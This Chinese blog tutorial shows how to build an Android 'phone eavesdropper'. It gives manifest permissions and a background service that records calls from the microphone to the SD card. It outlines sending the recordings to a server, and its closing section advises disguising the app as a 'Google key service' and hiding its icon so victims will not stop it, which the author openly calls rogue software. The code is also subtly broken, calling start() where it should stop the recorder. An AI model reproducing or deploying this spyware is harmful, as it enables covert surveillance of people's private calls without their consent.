android 之电话窃听器

其实实现一个简单的电话的窃听是一件非常容易的事情,在美国大片里面不是经常有黑客盗取别人的通话内容么,想想就觉得小激动,今天呢,我也实现了一个小小的电话窃听器,分享给大家,希望给大家乐乐。


实现电话窃听器步骤:(只限于Android手机上)
1.获取电话的服务

2.开启一个电话的监听

3.在监听的过程中,开启一个录音

4.将录音发送的到服务器端

5.在由服务器端发送给自己 ok,搞定


示例源码:

1.权限问题,电话服务,录音等

	<uses-permission android:name="android.permission.RECORD_AUDIO" /> <!-- 麦克风权限 -->
    	<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <!-- 读写sd卡权限 -->
    	<uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- 读取电话 -->

	<!-- 自定义电话服务 -->
        <service android:name="com.zengtao.service.MyPhoneStausService" >
        </service>


2.电话服务

package com.zengtao.service;

import java.io.IOException;
import android.annotation.SuppressLint;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.widget.Toast;

/**
 * my tephone service
 * 
 * @author Administrator zengtao
 * 
 */
public class MyPhoneStausService extends Service {

	@Override
	public IBinder onBind(Intent intent) {
		Toast.makeText(getBaseContext(), "start service", Toast.LENGTH_SHORT)
				.show();
		return null;
	}

	@Override
	public void onCreate() {
		super.onCreate();
		// get telephone service
		TelephonyManager telephony = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
		// set telephone listener status
		telephony.listen(new MyPhoneStausListener(),
				PhoneStateListener.LISTEN_CALL_STATE);
	}

	/**
	 * telephone status listener
	 * 
	 * @author Administrator zengtao
	 * 
	 */
	private class MyPhoneStausListener extends PhoneStateListener {
		private MediaRecorder recorder;

		/**
		 * the telephone status is changed
		 */
		@SuppressLint("SdCardPath")
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			super.onCallStateChanged(state, incomingNumber);
			try {
				switch (state) {
				case TelephonyManager.CALL_STATE_IDLE: // 空闲状态,没有响铃,没有通话
					if (recorder != null) {
						recorder.start();
						recorder.reset();
						recorder.release();
						recorder = null;
					}
					break;
				case TelephonyManager.CALL_STATE_RINGING: // 响铃的时候
					// 创建音频
					recorder = new MediaRecorder();
					// 设置音频来源---麦克风
					recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
					recorder.setOutputFile("/sdcard/"
							+ System.currentTimeMillis() + ".3gp");
					recorder.prepare();
					break;
				case TelephonyManager.CALL_STATE_OFFHOOK: // 通话中
					if (recorder != null) {
						recorder.start();
					}
					break;
				default:
					break;
				}
			} catch (IllegalStateException e) {
				e.printStackTrace();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}

	@Override
	public void onDestroy() {
		super.onDestroy();
		Toast.makeText(getBaseContext(), "service stop", Toast.LENGTH_SHORT)
				.show();
	}

}

3.Mainactivity

package com.zengtao.demo;

import com.zengtao.service.MyPhoneStausService;

import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.ActionBarActivity;

public class MainActivity extends ActionBarActivity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);

		Intent intent = new Intent(this, MyPhoneStausService.class);
		startService(intent);
	}
}


4.总结

以上便完成了一个简单的电话窃听器,当然你可以改变一些东西,比如:这个demo的名字改为:Goole的关键服务,activity的视图不让它在手机桌面显示出来,这些弄好了,不明白的人,谁敢把这个服务关闭掉,哪怕是熟悉的程序编程者,一看这个也感觉不能关闭吧,是不是很贱,说句难听的,就是流氓软件,哈哈,当然这个服务开启之后,就算把activity关闭,在后台也是一样运行的,你不手动的去关闭它,它会一直运行,当然也可以用代码实现的方式关闭服务。

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。